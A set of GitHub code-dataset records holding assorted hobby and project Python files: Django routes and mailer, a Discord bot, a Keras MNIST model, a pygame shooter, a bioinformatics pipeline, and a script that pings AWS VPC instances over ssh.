spread_jx, line_color='black', line_dash=\"dash\", line_width=1.0, row=1, col=1)\n plot.add_hline(center_jx, line_color='black', line_dash=\"dash\", line_width=1.0, row=1, col=1)\n plot.add_hline(center_jx + spread_jx, line_color='black', line_dash=\"dash\", line_width=1.0, row=1, col=1)\n plot.add_hline(center_jy - spread_jy, line_color='black', line_dash=\"dash\", line_width=1.0, row=2, col=1)\n plot.add_hline(center_jy, line_color='black', line_dash=\"dash\", line_width=1.0, row=2, col=1)\n plot.add_hline(center_jy + spread_jy, line_color='black', line_dash=\"dash\", line_width=1.0, row=2, col=1)\n if mask_x.sum() != 0:\n mask = pandas.DataFrame({'BPM':df.BPM[mask_x], 'JX':df.JX[mask_x], 'SIGMA_JX':df.SIGMA_JX[mask_x]})\n mask = scatter(mask, x='BPM', y='JX', error_y='SIGMA_JX', color_discrete_sequence=['red'], hover_data=['BPM', 'JX', 'SIGMA_JX'])\n mask.update_traces(marker={'size': 10})\n mask, *_ = mask.data\n plot.add_trace(mask, row=1, col=1)\n if mask_y.sum() != 0:\n mask = pandas.DataFrame({'BPM':df.BPM[mask_y], 'JY':df.JY[mask_y], 'SIGMA_JY':df.SIGMA_JY[mask_y]})\n mask = scatter(mask, x='BPM', y='JY', error_y='SIGMA_JY', color_discrete_sequence=['red'], hover_data=['BPM', 'JY', 'SIGMA_JY'])\n mask.update_traces(marker={'size': 10})\n mask, *_ = mask.data\n plot.add_trace(mask_y, row=2, col=1)\n config = {'toImageButtonOptions': {'height':None, 'width':None}, 'modeBarButtonsToRemove': ['lasso2d', 'select2d'], 'modeBarButtonsToAdd':['drawopenpath', 'eraseshape'], 'scrollZoom': True}\n plot.show(config=config)\n\n# Save to epics\nif args.update:\n epics.caput(f'H:ACTION:LIST:VALUE:X', value_jx)\n epics.caput(f'H:ACTION:LIST:ERROR:X', error_jx)\n epics.caput(f'H:ACTION:VALUE:X', center_jx)\n epics.caput(f'H:ACTION:ERROR:X', spread_jx)\n epics.caput(f'H:ACTION:LIST:VALUE:Y', value_jy)\n epics.caput(f'H:ACTION:LIST:ERROR:Y', error_jy)\n epics.caput(f'H:ACTION:VALUE:Y', center_jy)\n epics.caput(f'H:ACTION:ERROR:Y', spread_jy)","repo_name":"i-a-morozov/harmonica","sub_path":"script/hs_action.py","file_name":"hs_action.py","file_ext":"py","file_size_in_byte":7614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14948728393","text":"#!/usr/bin/python3\n\nimport json\n\nclass Base:\n\n __nb_objects = 0\n\n def __init__(self, id=None):\n if id is None:\n __class__.__nb_objects += 1\n self.id = __class__.__nb_objects\n else:\n self.id = id\n\n def to_json_string(list_dictionaries):\n if lis_dictionaries is not None:\n return \"[]\"\n else:\n return json.dumps(list_dictionaries)\n","repo_name":"Evertcolombia/python_exercises","sub_path":"OOP/almost_a_circle/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73901237801","text":"\"\"\"\nURL configuration for proyectoPan project.\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom tareas import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('inicio/', views.inicio, name=\"inicio\"),\n path(\"signup/\", views.signup, name=\"signup\"),\n path(\"tareas/\", views.lasTareas, name=\"tareas\"),\n path(\"logout/\", views.salida, name=\"salida\"),\n path('ingreso/', views.ingreso, name=\"ingreso\"),\n path('nueva/', views.creatarea, name=\"nueva\"),\n path('detalles//', views.detalles, name=\"detalles_tarea\"),\n path('detalles//completas/', views.completado, name=\"completado\"),\n path('detalles//eliminar/', views.eliminado, name=\"eliminar\"),\n ]\n","repo_name":"JosiasAG/proyecto_tareas","sub_path":"proyectoPan/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30026670733","text":"from Pipeline import *\n\nimport JsonLog\n\nfrom Bio import SeqIO\nfrom Bio.Seq import Seq\nfrom Bio.SeqRecord import SeqRecord\nfrom Bio.Blast.Applications import NcbiblastnCommandline\nfrom Bio.Blast import NCBIXML\nfrom pathlib import Path\nfrom functools import lru_cache\nimport datetime\nimport os\nimport pandas as pd\nimport numpy as np\nfrom Bio.SeqFeature import SeqFeature, FeatureLocation\nimport mirBaseUtils as MBU\n\nCOW_MIRNA_LEN = 22\n\nclass Global_Mapping_Cattle(object):\n################################################################################\n# Strategy:\n# Tranform the input file into the form of pipeline.\n# Ihe steps are:\n# * Extract the target from the genome\n# * Extract the miRNA from mature mrna\n# When finishing, we can run pipeline and get the desire datafile.\n\n\n def __init__(self, input_file, data_dir):\n organism = \"Cow\"\n\n print (\"Global mapping of miRNA-target interactions in cattle (Bos taurus)\")\n print (\"https://www.nature.com/articles/s41598-017-07880-8#MOESM1\")\n print(\"#############################################\")\n print(\"Organism: {}\".format(organism))\n print(\"#############################################\")\n\n self.organism = organism\n self.input_file = input_file\n self.data_dir = data_dir\n\n self.Global_Mapping_Cattle_Files()\n self.read_paper_data()\n\n def Global_Mapping_Cattle_Files (self):\n self.mirbase_fasta = \"all_mature_miRNA.fa\"\n self.mapping_cattle_to_pipeline = \"Cow/Raw/mapping_cattle__to_pipeline.csv\"\n self.final_output = str(\"Datafiles_Prepare/CSV\"/ Path (self.organism + \"_Global_Mapping_Cattle_Data.csv\"))\n\n\n def read_paper_data(self):\n self.inter_df = pd.read_csv(self.input_file)\n JsonLog.add_to_json('Num of samples', self.inter_df.shape[0])\n\n\n def add_mirna_from_chimera (self):\n def split_seq_to_mirna_target(row):\n seq = str(row['Seq'])\n mirna = seq.split(row['targetSeq'])[0]\n start_idx = row['miRstart'] -1\n return mirna [start_idx:start_idx+COW_MIRNA_LEN]\n\n def row_excution (row):\n if row['miRNA_seq']!=\"No mrna match!!!\":\n return row['miRNA_seq']\n return split_seq_to_mirna_target(row)\n\n self.inter_df['miRNA_seq'] = self.inter_df.apply(row_excution, axis=1)\n\n\n\n\n\n def prepare_for_pipeline(self):\n self.inter_df.rename(\n columns={'miRNA' : 'microRNA_name',\n 'miRNA_seq' : 'miRNA sequence',\n 'targetSeq' : 'target sequence'}\t, inplace=True)\n self.inter_df['number of reads'] = 1\n self.inter_df['GI_ID'] = range(len(self.inter_df))\n return self.inter_df\n\n\n def run(self):\n\n #####################################################\n # Add the miRNA\n # we won't find matches for all of them. we will handle the rest later on.\n #####################################################\n self.inter_df = MBU.insert_mirna(self.inter_df, \"Human/Raw/mature.fa\", \"miRNA\", \"bta\")\n\n #####################################################\n # Add the miRNA from the chimera\n #####################################################\n self.add_mirna_from_chimera()\n self.inter_df['miRNA_seq'] = self.inter_df.apply(lambda row: row['miRNA_seq'].replace(\"U\", \"T\"), axis=1)\n\n\n\ndef main ():\n interaction_file = \"Raw/41598_2017_7880_MOESM4_ESM.csv\"\n log_dir = \"Datafiles_Prepare/Logs/\"\n\n organisms = [\"Cow\"]\n for organism in organisms:\n p_dir = Path(organism) / \"Raw\"\n JsonLog.set_filename(\n filename_date_append(Path(log_dir) / Path(\"Global_Mapping_Cattle_\" + organism + \".json\")))\n JsonLog.add_to_json('file name', interaction_file)\n JsonLog.add_to_json('paper',\n \"Global mapping of miRNA-target interactions in cattle (Bos taurus)\")\n JsonLog.add_to_json('Organism', organism)\n JsonLog.add_to_json('paper_url', \"https://www.nature.com/articles/s41598-017-07880-8#MOESM1\")\n\n cow = Global_Mapping_Cattle(interaction_file, \"Cow\")\n cow.run()\n\n p = Pipeline(paper_name=\"Global_Mapping_Cattle\",\n organism=organism,\n in_df=cow.prepare_for_pipeline(),\n data_dir=p_dir)\n p.run()\n\n\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n","repo_name":"gbenor/GiladIsana2","sub_path":"Code/Datafiles_Prepare/Global_Mapping_Cattle.py","file_name":"Global_Mapping_Cattle.py","file_ext":"py","file_size_in_byte":4409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16419789860","text":"import weasyprint\nfrom django.core import mail\nfrom django.core.mail import EmailMessage\nfrom django.template.loader import get_template\n\n\nclass Mailer:\n \"\"\"\n Send email messages helper class\n \"\"\"\n\n def __init__(self, from_email=None):\n self.connection = mail.get_connection()\n self.from_email = from_email\n\n def send_messages(self, subject, body, to_emails, request=None, template=None):\n messages = self.__generate_messages(subject, body, template, to_emails, request)\n self.__send_mail(messages)\n\n def __send_mail(self, mail_messages):\n \"\"\"\n Send email messages\n :param mail_messages:\n :return:\n \"\"\"\n self.connection.open()\n self.connection.send_messages(mail_messages)\n self.connection.close()\n\n def __generate_messages(self, subject, body, template, to_emails, request):\n \"\"\"\n Generate email message from Django template\n :param subject: Email message subject\n :param template: Email template\n :param to_emails: to email address[es]\n :return:\n \"\"\"\n messages = []\n\n if template:\n message_template = get_template(template)\n for recipient, context in to_emails.items():\n message_content = message_template.render(context)\n html_mail = weasyprint.HTML(string=message_content, base_url=request.build_absolute_uri())\n pdf = html_mail.write_pdf(presentational_hints=True)\n message = EmailMessage(subject, body, to=[recipient], from_email=self.from_email)\n message.content_subtype = 'html'\n message.attach('payslip.pdf', pdf, 'application/pdf')\n message.mixed_subtype = 'related'\n messages.append(message)\n else:\n for recipient in to_emails:\n message = EmailMessage(subject, body, to=[recipient], from_email=self.from_email)\n messages.append(message)\n\n return messages","repo_name":"Kyeza/payroll_docker","sub_path":"reports/helpers/mailer.py","file_name":"mailer.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"17738648442","text":"import os\nimport discord\n\nfrom modules import jsonreader as jsr\nfrom modules.bot import Bot\n\nconfig = jsr.get(\"config.json\")\nprint(\"Logging in...\")\n\nintents = discord.Intents.all()\n\nbot = Bot(\n command_prefix=config.prefix,\n prefix=config.prefix,\n command_attrs=dict(hidden=True),\n help_command=None,\n intents=intents\n)\n\n#needs\npath = \"./paffy_lib\"\nif not os.path.isdir(path):\n os.mkdir(path)\n\n\nfor a,b,files in os.walk(\"cogs\"):\n for name in files:\n if name.endswith('.py'):\n bot.load_extension(f\"cogs.{name[:-3]}\")\n print(f\"{name} Loaded.\")\n\ntry:\n bot.run(config.token)\nexcept Exception as e:\n print(f'Error when logging in: {e}')","repo_name":"STR-HK/Paffy","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31651255985","text":"from sqlalchemy import select\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom telegram import Message\n\nfrom bot.core.db.models import MessageData, MessageFilterData\n\n\nclass CRUDBase:\n \"\"\"CRUD Base class for database operations.\"\"\"\n\n def __init__(self, model):\n self.model = model\n\n async def get(self, obj_id: int, session: AsyncSession):\n db_obj = await session.execute(\n select(self.model).where(self.model.id == obj_id)\n )\n return db_obj.scalars().first()\n\n async def get_multi(self, session: AsyncSession):\n db_objs = await session.execute(select(self.model))\n return db_objs.scalars().all()\n\n async def get_first(self, session: AsyncSession):\n db_objs = await session.execute(select(self.model))\n return db_objs.scalars().first()\n\n\nclass CRUDMessageData(CRUDBase):\n \"\"\"CRUD operations for MessageData objects.\"\"\"\n\n async def get_message_data_by_id(\n self, message_id: int, session: AsyncSession\n ):\n db_obj = await session.execute(\n select(self.model).where(self.model.id == message_id)\n )\n return db_obj.scalars().first()\n\n async def update_message_data_attrib(\n self, object: MessageData, message: Message, session: AsyncSession\n ):\n object.text = getattr(message, \"text\", None)\n object.sticker = getattr(message.sticker, \"emoji\", None)\n object.timestamp = message.date\n session.add(object)\n await session.commit()\n await session.refresh(object)\n await session.close()\n\n\nclass CRUDMessageFilterData(CRUDBase):\n \"\"\"CRUD operations for MessageFilterData objects.\"\"\"\n\n async def get_message_filter_data_by_user_id(\n self, user_id: int, session: AsyncSession\n ):\n db_obj = await session.execute(\n select(self.model).where(self.model.user_id == user_id)\n )\n return db_obj.scalars().first()\n\n\nmessage_data_crud = CRUDMessageData(MessageData)\nmessage_filter_data_crud = CRUDMessageFilterData(MessageFilterData)\n","repo_name":"Studio-Yandex-Practicum/rehabilitation_bot","sub_path":"src/bot/core/db/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"8396364523","text":"import numpy as np\n\ndef read_input(filename):\n with open(filename, \"r\") as f:\n return f.read()\n\n\ndef dataprep_general(data):\n my_file = read_input(data)\n array = my_file.split(\"\\n\")\n array = np.array(array)\n\n return array\n\n\ndef dataprep_compartments(data):\n array = dataprep_general(data)\n # divide each string into a list of chars\n array = [list(x) for x in array]\n # divide each list of chars into 2 lists of chars\n array = [np.array_split(x, 2) for x in array]\n first_compartments = [x[0] for x in array]\n second_compartments = [x[1] for x in array]\n\n # return the chars that are the same in both compartments for every array in the compartments\n array = [np.intersect1d(first_compartments[i], second_compartments[i]) for i in range(len(first_compartments))]\n\n # change the array of arrays into a single array\n array = np.concatenate(array)\n\n return array\n\n\ndef dataprep_groups(data):\n array = dataprep_general(data)\n\n # split the array after every third element\n array = np.split(array, np.arange(3, len(array), 3))\n\n # divide each string into a list of chars\n for i in range(len(array)):\n array[i] = [list(x) for x in array[i]]\n\n # find the 1 char that is the same in every string\n for i in range(len(array)):\n chars = np.intersect1d(array[i][0], array[i][1])\n array[i] = np.intersect1d(chars, array[i][2])\n\n # change the array of arrays into a single array\n array = np.concatenate(array)\n\n return array\n\n\ndef calculate_priority(array):\n # the priority is the index of the char in the alphabet\n # capital letters start at 27, lowercase letters start at 1\n\n priority = 0\n\n for i in range(len(array)):\n if \"A\" <= array[i] <= \"Z\":\n priority += ord(array[i]) - 38\n elif \"a\" <= array[i] <= \"z\":\n priority += ord(array[i]) - 96\n return priority\n\n\nprint(calculate_priority(dataprep_compartments(\"Test Input.txt\")))\nprint(calculate_priority(dataprep_compartments(\"Puzzle Input.txt\")))\n\n\nprint(calculate_priority(dataprep_groups(\"Test Input.txt\")))\nprint(calculate_priority(dataprep_groups(\"Puzzle Input.txt\")))\n","repo_name":"DeSmokoe/AdventOfCode-2022","sub_path":"Day 3/Day 3.py","file_name":"Day 3.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35053506014","text":"'''\nDescripttion: your project\nversion: 1.0\nAuthor: Dufanrong\nDate: 2023-03-14 18:10:43\nLastEditors: Dufanrong\nLastEditTime: 2023-03-17 08:41:34\n'''\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport os\n\ntop20=['tenant1','tenant2','tenant3','tenant4','tenant5','tenant6','tenant7',\n'tenant8','tenant9','tenant10','tenant11','tenant12','tenant13','tenant14',\n'tenant15','tenant16','tenant17','tenant18','tenant19','tenant20']\nregions=['r1','r2','r3','r4','r5','r6','r7','r8','r9','r10','r11','r12','r13','r14','r15','r16','r17','r18']\ntest=['tenant3']\nr=['r1']\ndef drawing():\n data=pd.read_csv(origin_path)\n data.columns=['date' ,'vcpus']\n plt.cla()\n plt.plot(data['date'],data['vcpus'])\n plt.minorticks_on()\n plt.ylim(ymin=0)\n plt.xlable=('Time points/10 mins')\n plt.ylable=('Resource usage')\n plt.tight_layout()\n plt.xticks([])\n \n plt.savefig(new_path_base+id+'/'+region+'/'+date+'png')\n #plt.show()\n\n\nif __name__=='__main__':\n for id in test: \n \n \n for region in regions:\n if os.path.exists('instance_region_by_day/'+id+'/'+region):\n if not os.path.exists('figure_region_day_new/'+id+'/'+region):\n os.makedirs('figure_region_day_new/'+id+'/'+region)\n for i in range(1,123):\n date=str(i)\n origin_path='instance_region_by_day/'+id+'/'+region+'/'+date+'.csv'\n if os.path.exists(origin_path):\n new_path_base='figure_region_day_new/'\n drawing()\n print(region + ' done.')\n print(id + ' done.')","repo_name":"dufanrong/graduation_project","sub_path":"code/data_analyse/draw_region_day.py","file_name":"draw_region_day.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34573787482","text":"import pygame\nimport random\npygame.init()\n\nheight, width = 490, 1200\n\nscreen = pygame.display.set_mode((width, height))\nspace = pygame.image.load(\"image/galaxy_image_4.jpg\")\nspace_rect = space.get_rect()\n\nGREEN = pygame.Color(0, 255, 0)\nBLACK = pygame.Color(0, 0, 0)\nWHITE = pygame.Color(255, 255, 255)\nRED = pygame.Color(255, 0, 0)\n\nPOWERUP_TIME = 5000\n\nplayer_image = pygame.image.load('image/player.png').convert_alpha()\nbullet_image = pygame.image.load('image/bullet.png').convert_alpha()\nplayer_mini_img = pygame.transform.scale(player_image, (25, 19))\nplayer_mini_img.set_colorkey(BLACK)\nmob_images = []\nmob_list = ['image/mob.png', 'image/stone.png', 'image/stone_1.png']\nfor img in mob_list:\n mob_images.append(pygame.image.load(img))\n\npowerup_images = {}\npowerup_images['shield'] = pygame.image.load('image/BONUS/shield_gold.png').convert()\npowerup_images['gun'] = pygame.image.load('image/BONUS/bolt_gold.png').convert()\n\nrunning = True\ngame_over = True\nclock = pygame.time.Clock()\n\nexplosion_anim = {}\nexplosion_anim['lg'] = []\nexplosion_anim['sm'] = []\n\nfor i in range(9):\n filename = f'regularExplosion0{i}.png'\n img = pygame.image.load(f\"image/explosion/{filename}\").convert()\n img.set_colorkey(BLACK)\n img_lg = pygame.transform.scale(img, (75, 75))\n explosion_anim['lg'].append(img_lg)\n img_sm = pygame.transform.scale(img, (32, 32))\n explosion_anim['sm'].append(img_sm)\n filename2 = 'sonicExplosion0{}.png'.format(i)\n img = pygame.image.load(f\"image/sonic/{filename2}\").convert()\n img.set_colorkey(BLACK)\n # explosion_anim['player'].append(img)\n\nfont_name = pygame.font.match_font('arial')\n\ndef newmob():\n m = Mob()\n all_sprites.add(m)\n mobs.add(m)\n\ndef draw_lives(surf, x, y, lives, img):\n for i in range(lives):\n img_rect = img.get_rect()\n img_rect.x = x + 30 *i\n img_rect.y = y\n surf.blit(img, img_rect)\n\ndef draw_text(surf, text, size, x, y):\n font = pygame.font.Font(font_name, size)\n text_surface = font.render(text, True, WHITE)\n text_rect = text_surface.get_rect()\n text_rect.midtop = (x, y)\n surf.blit(text_surface, text_rect)\n\n\ndef powerup(self):\n self.power += 1\n self.power_time = pygame.time.get_ticks()\n\nclass Pow(pygame.sprite.Sprite):\n def __init__(self, center):\n pygame.sprite.Sprite.__init__(self)\n self.type = random.choice(['shield', 'gun'])\n self.image = powerup_images[self.type]\n self.image.set_colorkey(BLACK)\n self.rect = self.image.get_rect()\n self.rect.center = center\n self.speedy = 2\n\n def update(self):\n self.rect.y += self.speedy\n if self.rect.top > height:\n self.kill()\n\nclass Explosion(pygame.sprite.Sprite):\n def __init__(self, center, size):\n pygame.sprite.Sprite.__init__(self)\n self.size = size\n self.image = explosion_anim[self.size][0]\n self.rect = self.image.get_rect()\n self.rect.center = center\n self.frame = 0\n self.last_update = pygame.time.get_ticks()\n self.frame_rate = 50\n\n def update(self):\n now = pygame.time.get_ticks()\n if now - self.last_update > self.frame_rate:\n self.last_update = now\n self.frame += 1\n if self.frame == len(explosion_anim[self.size]):\n self.kill()\n else:\n center = self.rect.center\n self.image = explosion_anim[self.size][self.frame]\n self.rect = self.image.get_rect()\n self.rect.center = center\n\n\nclass Player(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image = player_image\n self.image = pygame.transform.scale(player_image, (50, 38))\n self.image.set_colorkey(BLACK)\n self.rect = self.image.get_rect()\n self.radius = 20\n self.rect.centerx = width // 2\n self.rect.bottom = height - 10\n self.speedx = 0\n self.shield = 100\n self.shoot_delay = 250\n self.last_shot = pygame.time.get_ticks()\n self.lives = 3\n self.hidden = False\n self.hide_timer = pygame.time.get_ticks()\n self.power = 1\n self.power_time = pygame.time.get_ticks()\n\n def update(self):\n if self.power >= 2 and pygame.time.get_ticks() - self.power_time > POWERUP_TIME:\n self.power -= 1\n self.power_time = pygame.time.get_ticks()\n\n # показать, если скрыто\n if self.hidden and pygame.time.get_ticks() - self.hide_timer > 1000:\n self.hidden = False\n self.rect.centerx = width / 2\n self.rect.bottom = height - 10\n\n\n self.speedx = 0\n keys = pygame.key.get_pressed()\n if keys[pygame.K_LEFT]:\n self.speedx -= 8\n if keys[pygame.K_RIGHT]:\n self.speedx += 8\n if keys[pygame.K_SPACE]:\n self.shoot()\n self.rect.x += self.speedx\n if self.rect.right > width:\n self.rect.right = width\n if self.rect.left < 0:\n self.rect.left = 0\n\n def powerup(self):\n self.power += 1\n self.power_time = pygame.time.get_ticks()\n\n def shoot(self):\n now = pygame.time.get_ticks()\n if now - self.last_shot > self.shoot_delay:\n self.last_shot = now\n if self.power == 1:\n bullet = Bullet(self.rect.centerx, self.rect.top)\n all_sprites.add(bullet)\n bullets.add(bullet)\n\n if self.power >= 2:\n bullet1 = Bullet(self.rect.left, self.rect.centery)\n bullet2 = Bullet(self.rect.right, self.rect.centery)\n all_sprites.add(bullet1)\n all_sprites.add(bullet2)\n bullets.add(bullet1)\n bullets.add(bullet2)\n\n def hide(self):\n # временно скрыть игрока\n self.hidden = True\n self.hide_timer = pygame.time.get_ticks()\n self.rect.center = (width / 2, height + 200)\n\nclass Mob(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image_orig = random.choice(mob_images)\n self.image = self.image_orig.copy()\n self.rect = self.image.get_rect()\n self.radius = int(self.rect.width * .85 / 2)\n self.rect.x = random.randrange(width - self.rect.width)\n self.rect.y = random.randrange(-150, -100)\n self.speedy = random.randrange(1, 8)\n self.speedx = random.randrange(-3, 3)\n self.rot = 0\n self.rot_speed = random.randrange(-8, 8)\n self.last_update = pygame.time.get_ticks()\n\n def update(self):\n self.rotate()\n self.rect.y += self.speedy\n if self.rect.top > height + 10 or self.rect.left < -25 or self.rect.right > width + 20:\n self.rect.x = random.randrange(width - self.rect.width)\n self.rect.y = random.randrange(-100, -40)\n self.speedy = random.randrange(1, 8)\n\n def rotate(self):\n now = pygame.time.get_ticks()\n if now - self.last_update > 50:\n self.last_update = now\n self.rot = (self.rot + self.rot_speed) % 360\n self.image = pygame.transform.rotate(self.image_orig, self.rot)\n new_image = pygame.transform.rotate(self.image_orig, self.rot)\n old_center = self.rect.center\n self.image = new_image\n self.rect = self.image.get_rect()\n self.rect.center = old_center\n\n\nclass Bullet(pygame.sprite.Sprite):\n def __init__(self, x, y):\n pygame.sprite.Sprite.__init__(self)\n self.image = bullet_image\n self.rect = self.image.get_rect()\n self.rect.bottom = y\n self.rect.centerx = x\n self.speedy = -10\n\n def update(self):\n self.rect.y += self.speedy\n if self.rect.bottom < 0:\n self.kill()\n\n\nall_sprites = pygame.sprite.Group()\nplayer = Player()\nall_sprites.add(player)\nmobs = pygame.sprite.Group()\nbullets = pygame.sprite.Group()\npowerups = pygame.sprite.Group()\nfor i in range(8):\n newmob()\n\n\nscore = 0\ndef draw_shield_bar(surf, x, y, pct):\n if pct < 0:\n pct = 0\n BAR_LENGTH = 100\n BAR_HEIGHT = 50\n fill = (pct / 100) * BAR_LENGTH\n outline_rect = pygame.Rect(x, y, BAR_LENGTH, BAR_HEIGHT)\n fill_rect = pygame.Rect(x, y, fill, BAR_HEIGHT)\n pygame.draw.rect(surf, RED, fill_rect)\n pygame.draw.rect(surf, WHITE, outline_rect, 2)\n\n\ndef show_go_screen():\n screen.blit(space, space_rect)\n draw_text(screen, \"SHMUP\", 64, width / 2, height / 4)\n draw_text(screen, \"Arrow keys move, Space to fire\", 22, width / 2, height / 2)\n draw_text(screen, \"Press a key to begin\", 18, width / 2, height * 3 / 4)\n pygame.display.flip()\n waiting = True\n while waiting:\n clock.tick(60)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == pygame.KEYUP:\n waiting = False\n\n\nwhile running:\n if game_over:\n show_go_screen()\n game_over = False\n all_sprites = pygame.sprite.Group()\n mobs = pygame.sprite.Group()\n bullets = pygame.sprite.Group()\n powerups = pygame.sprite.Group()\n player = Player()\n all_sprites.add(player)\n for i in range(8):\n newmob()\n score = 0\n\n for event in pygame.event.get():\n screen.blit(space, (0, 0))\n if event.type == pygame.QUIT:\n running = False\n\n all_sprites.update()\n\n hits = pygame.sprite.groupcollide(mobs, bullets, True, True)\n for hit in hits:\n score += 50 - hit.radius\n expl = Explosion(hit.rect.center, 'lg')\n all_sprites.add(expl)\n if random.random() > 0.9:\n pow = Pow(hit.rect.center)\n all_sprites.add(pow)\n powerups.add(pow)\n newmob()\n\n hits = pygame.sprite.spritecollide(player, mobs, pygame.sprite.collide_circle)\n for hit in hits:\n player.shield -= hit.radius * 2\n expl = Explosion(hit.rect.center, 'sm')\n all_sprites.add(expl)\n newmob()\n\n if player.shield <= 0:\n death_explosion = Explosion(player.rect.center, 'player')\n all_sprites.add(death_explosion)\n player.hide()\n player.lives -= 1\n player.shield = 100\n\n hits = pygame.sprite.spritecollide(player, powerups, True)\n for hit in hits:\n if hit.type == 'shield':\n player.shield += random.randrange(10, 30)\n if player.shield >= 100:\n player.shield = 100\n if hit.type == 'gun':\n player.powerup()\n\n if player.lives == 0 and not death_explosion.alive():\n game_over = True\n\n screen.fill(BLACK)\n screen.blit(space, space_rect)\n all_sprites.draw(screen)\n draw_text(screen, f\"SCORE: {str(score)}\", 18, width / 2, 10)\n draw_shield_bar(screen, 5, 5, player.shield)\n draw_text(screen, f\" {player.shield}\", 25, 10, 10)\n draw_lives(screen, width - 100, 5, player.lives, player_mini_img)\n\n clock.tick(60)\n pygame.display.flip()","repo_name":"olzhas2357/my_own_codes","sub_path":"Games/practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":11171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22969011892","text":"from keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D, Flatten, Dense, Dropout\n\nclass MNISTModel:\n def __init__(self):\n self.arch = Sequential()\n # add Convolutional layers\n self.arch.add(Conv2D(filters=32, kernel_size=(3,3), activation='relu', padding='same',input_shape=(28, 28, 1)))\n self.arch.add(MaxPooling2D(pool_size=(2,2)))\n self.arch.add(Conv2D(filters=64, kernel_size=(3,3), activation='relu', padding='same'))\n self.arch.add(MaxPooling2D(pool_size=(2,2)))\n self.arch.add(Conv2D(filters=64, kernel_size=(3,3), activation='relu', padding='same'))\n self.arch.add(MaxPooling2D(pool_size=(2,2)))\n self.arch.add(Flatten())\n # Densely connected layers\n self.arch.add(Dense(128, activation='relu'))\n # output layer\n self.arch.add(Dense(10, activation='softmax'))\n # compile with adam optimizer & categorical_crossentropy loss function\n self.arch.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n return\n\n def __repr__(self):\n return str(self.arch.summary())\n\n def fit_data(self, train_data, train_labels, test_data, test_labels):\n train_history = self.arch.fit(train_data, train_labels,\n epochs=2, steps_per_epoch=1000, validation_steps=200,\n validation_data=(test_data, test_labels))\n return train_history\n","repo_name":"TCNJ-ECE-IMPL/tensorflow_utilities","sub_path":"scripts/IMPL_Models/MNISTModel.py","file_name":"MNISTModel.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"24915140732","text":"#!/bin/env python3\nimport os\n\ndef run_ping_on_all_instances():\n # hardcoded dictionary of ip addresses based on cloudformation template\n ipaddresses = {\"10.1.2.249\":\"Production Server (VPC1)\", \"10.2.1.29\":\"Dev Server (VPC2)\", \"10.3.1.129\":\"Test Server(VPC3)\", \"10.4.1.22\":\"Shared Server(VPC4)\"}\n results_dict = {}\n #iterates through each ip addresses and tries to copy python script to the instance then runs the script.\n for ipaddress in ipaddresses:\n scp_result = os.system(f\"scp -o StrictHostKeyChecking=no -o ConnectTimeout=5 ~/pythonfiles/Ping_All_Instances.py {ipaddress}:/tmp/ \")\n if scp_result != 0:\n results_dict[ipaddress] = \"Fail\"\n continue\n ssh_result = os.system(f\"ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 {ipaddress} python3 /tmp/Ping_All_Instances.py\")\n\n if ssh_result != 0:\n results_dict[ipaddress] = \"Fail\"\n else:\n results_dict[ipaddress] = \"Success\"\n\n print(\"----------------------------------------------\")\n print(\"These are the overall results for each machine:\")\n for ipaddress in results_dict:\n print(f\"{ipaddresses[ipaddress]} ({ipaddress}): {results_dict[ipaddress]}\")\n print(\"----------------------------------------------\")\n\nrun_ping_on_all_instances()\n\n\n\n","repo_name":"mkmacd/VPCPeeringConnections","sub_path":"Launch_Ping_All_Instances.py","file_name":"Launch_Ping_All_Instances.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"4004369314","text":"from absl.testing import parameterized\n\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import 